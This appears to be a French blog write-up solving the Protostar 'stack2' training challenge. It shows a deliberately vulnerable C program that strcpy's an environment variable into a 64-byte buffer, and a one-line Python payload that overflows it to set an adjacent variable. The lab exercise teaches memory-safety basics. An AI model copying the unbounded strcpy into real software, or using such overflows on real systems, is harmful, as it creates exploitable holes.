Protostar – stack 2

Nous allons commencer le troisième  challenge de la machine virtuelle protostar : stack 2.

https://exploit-exercises.com/protostar/stack2/

Voici le code du programme vulnérable :

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];
  char *variable;

  variable = getenv("GREENIE");

  if(variable == NULL) {
      errx(1, "please set the GREENIE environment variable\n");
  }

  modified = 0;

  strcpy(buffer, variable);

  if(modified == 0x0d0a0d0a) {
      printf("you have correctly modified the variable\n");
  } else {
      printf("Try again, you got 0x%08x\n", modified);
  }
}cc
Stack 2

Ici nous devons utiliser la variable d’environnement « GREENIE » pour exécuter notre buffer overflow grâce au manque de contrôle de la fonction strcpy.

En Bash pour définir la variable d’environnement GREENIE nous devons entrer :

export GREENIE = test

le buffer fait toujours 64 octets mais cette fois ci nous devons écrire

0x0d0a0d0a

soit 0x0a0d0a0d en little endian.

Résolvons le challenge :

user@protostar:/opt/protostar/bin$ export GREENIE=$(python -c "print('A'*64+'\x0a\x0d\x0a\x0d')")
user@protostar:/opt/protostar/bin$ ./stack2
you have correctly modified the variable
exploitation

Le challenge est réussi , il était très similaire au stack 1 vu précédemment.

Laisser un commentaire

Votre adresse de messagerie ne sera pas publiée.